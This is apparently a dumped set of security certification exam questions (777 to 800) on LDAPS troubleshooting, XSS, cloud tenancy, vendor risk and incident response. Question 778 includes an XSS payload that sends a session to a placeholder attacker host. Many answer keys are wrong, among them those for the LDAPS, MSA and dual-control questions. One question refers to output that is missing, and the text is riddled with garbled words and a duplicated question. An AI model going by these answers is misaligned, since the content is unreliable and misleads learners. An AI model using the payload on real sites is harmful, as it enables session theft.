QUESTION 777
A company that uses AD is migrating services from LDAP to secure LDAP. During the pilot phase, services are not connecting properly to secure LDAP. Block is an except of output from the troubleshooting session:

```
openssl s_client -host ldap1.comptia.com -port 636

CONNECTED(00000003)
...
-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----
Subject=/CN=*.comptia.com
Issuer=/DC=com/DC=danville/CN=chicago
```

Which of the following BEST explains why secure LDAP is not working? (Select TWO.)

A. The clients may not trust idapt by default.
B. The secure LDAP service is not started, so no connections can be made.
C. Danvills.com is under a DDoS-inator attack and cannot respond to OCSP requests.
D. Secure LDAP should be running on UDP rather than TCP.
E. The company is using the wrong port. It should be using port 389 for secure LDAP.
F. Secure LDAP does not support wildcard certificates.
G. The clients may not trust Chicago by default.

Answer: BE

QUESTION 778
A threat analyst notices the following URL while going through the HTTP logs.

```
http://www.safebrowsing-...search.asp?q=<script>a=newimage;a.src="http://baddomain-.../session;</script>
```

Which of the following attack types is the threat analyst seeing?

A. SQL injection
B. CSRF
C. Session hijacking
D. XSS

Answer: D

QUESTION 779
The Chief information Officer (CIO) of a large bank, which uses multiple third-party organizations to deliver a service, is concerned about the handling and security of customer data by the parties. Which of the following should be implemented to BEST manage the risk?

A. Establish a review committee that assesses the importance of suppliers and ranks them

according to contract renewals.
At the time of contract renewal, incorporate designs and operational controls into the contracts and a right-to-audit clause.
Regularly assess the supplier's post-contract renewal with a dedicated risk management team.

B. Establish a team using members from first line risk, the business unit, and vendor management to assess only design security controls of all suppliers.
Store findings from the reviews in a database for all other business units and risk teams to reference.

C. Establish an audit program that regularly reviews all suppliers regardless of the data they access, how they access the data, and the type of data.
Review all design and operational controls based on best practice standard and report the finding back to upper management.

D. Establish a governance program that rates suppliers based on their access to data, the type of data, and how they access the data.
Assign key controls that are reviewed and managed based on the supplier's rating.
Report finding units that rely on the suppliers and the various risk teams.

Answer: A

QUESTION 780
Company A is establishing a contractual with Company B. The terms of the agreement are formalized in a document covering the payment terms, limitation of liability, and intellectual property rights. Which of the following documents will MOST likely contain these elements?

A. Company A-B SLA v2.docx
B. Company A OLA v1b.docx
C. Company A MSA v3.docx
D. Company A MOU v1.docx
E. Company A-B NDA v03.docx

Answer: A

QUESTION 781
A company requires a task to be carried by more than one person concurrently. This is an example of:

A. separation of d duties.
B. dual control
C. least privilege
D. job rotation

Answer: A

QUESTION 782
A health company has reached the physical and computing capabilities in its datacenter, but the computing demand continues to increase. The infrastructure is fully virtualized and runs custom and commercial healthcare application that process sensitive health and payment information. Which of the following should the company implement to ensure it can meet the computing demand while complying with healthcare standard for virtualization and cloud computing?

A. Hybrid IaaS solution in a single-tenancy cloud
B. Pass solution in a multinency cloud
C. SaaS solution in a community cloud
D. Private SaaS solution in a single tenancy cloud.

Answer: D

QUESTION 783

A developer implement the following code snippet.

```
catch (Exception e)
{
   if(log.isDebugEnabled())
   {
      log.debug("Caught InvalidDNException Exception --"
      + e.toString());
   }
}
```

Which of the following vulnerabilities does the code snippet resolve?

A. SQL inject
B. Buffer overflow
C. Missing session limit
D. Information leakage

Answer: D

QUESTION 784
A security analyst is investigating a series of suspicious emails by employees to the security team. The email appear to come from a current business partner and do not contain images or URLs. No images or URLs were stripped from the message by the security tools the company uses instead, the emails only include the following in plain text.

```
Test email sent from bp_app01 to external client_app01_mailing_list.
```

Which of the following should the security analyst perform?

A. Contact the security department at the business partner and alert them to the email event.
B. Block the IP address for the business partner at the perimeter firewall.
C. Pull the devices of the affected employees from the network in case they are infected with a zero- day virus.
D. Configure the email gateway to automatically quarantine all messages originating from the business partner.

Answer: A

QUESTION 785
A financial services company wants to migrate its email services from on-premises servers to a cloud- based email solution. The Chief information Security Officer (CISO) must brief board of directors on the potential security concerns related to this migration. The board is concerned about the following.
* Transactions being required by unauthorized individual
* Complete discretion regarding client names, account numbers, and investment information.
* Malicious attacker using email to distribute malware and ransom ware.
* Exfiltration of sensitivity company information.
The cloud-based email solution will provide an6-malware, reputation-based scanning, signature- based scanning, and sandboxing.
Which of the following is the BEST option to resolve the board's concerns for this email migration?

A. Data loss prevention
B. Endpoint detection response
C. SSL VPN
D. Application whitelisting

Answer: A

QUESTION 786
Which of the following BEST sets expectation between the security team and business units within an organization?

A. Risk assessment

B. Memorandum of understanding
C. Business impact analysis
D. Business partnership agreement
E. Services level agreement

Answer: C

QUESTION 787
A small company needs to reduce its operating costs. vendors have proposed solutions, which all focus on management of the company's website and services. The Chief information Security Officer (CISO) insist all available resources in the proposal must be dedicated, but managing a private cloud is not an option. Which of the following is the BEST solution for this company?

A. Community cloud service model
B. Multinency SaaS
C. Single-tenancy SaaS
D. On-premises cloud service model

Answer: A

QUESTION 788
A security is assisting the marketing department with ensuring the security of the organization's social media platforms. The two main concerns are:
The Chief marketing officer (CMO) email is being used department wide as the username The password has been shared within the department
Which of the following controls would be BEST for the analyst to recommend?

A. Configure MFA for all users to decrease their reliance on other authentication.
B. Have periodic, scheduled reviews to determine which OAuth configuration are set for each media platform.
C. Create multiple social media accounts for all marketing user to separate their actions.
D. Ensue the password being shared is sufficiently and not written down anywhere.

Answer: A

QUESTION 789
A security engineer at a company is designing a system to mitigate recent setbacks caused competitors that are beating the company to market with the new products. Several of the products incorporate propriety enhancements developed by the engineer's company. The network already includes a SEIM and a NIPS and requires 2FA for all user access. Which of the following system should the engineer consider NEXT to mitigate the associated risks?

A. DLP
B. Mail gateway
C. Data flow enforcement
D. UTM

Answer: A

QUESTION 790
The Chief information Officer (CIO) asks the system administrator to improve email security at the company based on the following requirements:
* Transaction being requested by unauthorized individuals.
* Complete discretion regarding client names, account numbers, and investment information.
* Malicious attackers using email to malware and ransomeware.
* Exfiltration of sensitive company information.
The cloud-based email solution will provide anti-malware reputation-based scanning, signature- based scanning, and

sandboxing. Which of the following is the BEST option to resolve the boar's concerns for this email migration?

A. Data loss prevention
B. Endpoint detection response
C. SSL VPN
D. Application whitelisting

Answer: A

QUESTION 791
A company that all mobile devices be encrypted, commensurate with the full disk encryption scheme of assets, such as workstation, servers, and laptops. Which of the following will MOST likely be a limiting factor when selecting mobile device managers for the company?

A. Increased network latency
B. Unavailable of key escrow
C. Inability to selected AES-256 encryption
D. Removal of user authentication requirements

Answer: A

QUESTION 792
A company is outsourcing to an MSSP that performs managed detection and response services. The MSSP requires a server to be placed inside the network as a log aggregate and allows remote access to MSSP analyst. Critical devices send logs to the log aggregator, where data is stored for 12 months locally before being archived to a multitenant cloud. The data is then sent from the log aggregate to a public IP address in the MSSP datacenter for analysis. A security engineer is concerned about the security of the solution and notes the following:
* The critical devise send cleartext logs to the aggregator.
* The log aggregator utilize full disk encryption.
* The log aggregator sends to the analysis server via port 80.
* MSSP analysis utilize an SSL VPN with MFA to access the log aggregator remotely.
* The data is compressed and encrypted prior to being achieved in the cloud.
Which of the following should be the engineer's GREATEST concern?

A. Hardware vulnerabilities introduced by the log aggregate server
B. Network bridging from a remote access VPN
C. Encryption of data in transit
D. Multinancy and data remnants in the cloud

Answer: C

QUESTION 793
A cybersecurity analyst created the following tables to help determine the maximum budget amount the business can justify spending on an improved email filtering system:

Month	Total Emails Received	Total Emails Delivered	Spam Detections	Accounts Compromised	Total Business Loss Account Compromise
January	304	240	62	0	$0
February	375	314	58	1	$1000
March	360	289	69	0	$0
April	281	213	67	1	$1000
May	331	273	55	2	$2000
June	721	596	120	6	$6000

Filter	Yearly Cost	Expected Yearly Spam True Positives	Expected Yearly Account Compromises
ABC	$18,000	930	1
XYZ	$16,000	1200	4
GHI	$22,000	2400	0
TUV	$19,000	2000	2

Which of the following meets the budget needs of the business?

A. Filter ABC
B. Filter XYZ
C. Filter GHI
D. Filter TUV

Answer: C

QUESTION 794
Ann, a CIRT member, is conducting incident response activities on a network that consists of several hundred virtual servers and thousands of endpoints and users. The network generates more than 10,000 log messages per second. The enterprise belong to a large, web-based cryptocurrency startup, Ann has distilled the relevant information into an easily digestible report for executive management . However, she still needs to collect evidence of the intrusion that caused the incident. Which of the following should Ann use to gather the required information?

A. Traffic interceptor log analysis
B. Log reduction and visualization tools
C. Proof of work analysis
D. Ledger analysis software

Answer: B

QUESTION 795
A security engineer is troubleshooting an issue in which an employee is getting an IP address in the range on the wired network. The engineer plus another PC into the same port, and that PC gets an IP address in the correct range. The engineer then puts the employee' PC on the wireless network and finds the PC still not get an IP address in the proper range. The PC is up to date on all software and antivirus definitions, and the IP address is not an APIPA address. Which of the following is MOST likely the problem?

A. The company is using 802.1x for VLAN assignment, and the user or computer is in the wrong group.
B. The DHCP server has a reservation for the PC's MAC address for the wired interface.
C. The WiFi network is using WPA2 Enterprise, and the computer certificate has the wrong IP address in the SAN field.
D. The DHCP server is unavailable, so no IP address is being sent back to the PC.

Answer: A

QUESTION 796
Immediately following the report of a potential breach, a security engineer creates a forensic image of the server in question as part of the organization incident response procedure. Which of the must occur to ensure the integrity of the image?

A. The image must be password protected against changes.
B. A hash value of the image must be computed.
C. The disk containing the image must be placed in a seated container.
D. A duplicate copy of the image must be maintained

Answer: B

QUESTION 797
A company in the financial sector receives a substantial number of customer transaction requests via email. While doing a root-cause analysis conceding a security breach, the CIRT correlates an unusual spike in port 80 traffic from the IP address of a desktop used by a customer relations employee who has access to several of the compromised accounts. Subsequent antivirus scans of the device do not return an findings, but the CIRT finds undocumented services running on the device. Which of the following controls would reduce the discovery time for similar in the future.

A. Implementing application blacklisting
B. Configuring the mall to quarantine incoming attachment automatically
C. Deploying host-based firewalls and shipping the logs to the SIEM
D. Increasing the cadence for antivirus DAT updates to twice daily

Answer: C

QUESTION 798
A system administrator at a medical imaging company discovers protected health information (PHI) on a general-purpose file server. Which of the following steps should the administrator take NEXT?

A. Isolate all of the PHI on its own VLAN and keep it segregated at Layer 2.
B. Take an MD5 hash of the server.
C. Delete all PHI from the network until the legal department is consulted.
D. Consult the legal department to determine the legal requirements.

Answer: A

QUESTION 799
A security analyst is reading the results of a successful exploit that was recently conducted by third-party penetration testers. The testers reverse engineered a privileged executable. In the report, the planning and execution of the exploit is detailed using logs and outputs from the test However, the attack vector of the exploit is missing, making it harder to recommend remediation's. Given the following output:

The penetration testers MOST likely took advantage of:

A. A TOC/TOU vulnerability
B. A plain-text password disclosure
C. An integer overflow vulnerability
D. A buffer overflow vulnerability

Answer: A

QUESTION 800
A financial institution has several that currently employ the following controls:
* The severs follow a monthly patching cycle.
* All changes must go through a change management process.
* Developers and systems administrators must log into a jumpbox to access the servers hosting the data using two-factor authentication.
* The servers are on an isolated VLAN and cannot be directly accessed from the internal production network.
An outage recently occurred and lasted several days due to an upgrade that circumvented the approval process. Once the security team discovered an unauthorized patch was installed, they were able to resume operations within an hour. Which of the following should the security administrator recommend to reduce the time to resolution if a similar incident occurs in the future?

A. Require more than one approver for all change management requests.
B. Implement file integrity monitoring with automated alerts on the servers.
C. Disable automatic patch update capabilities on the servers
D. Enhanced audit logging on the jump servers and ship the logs to the SIEM.

Answer: B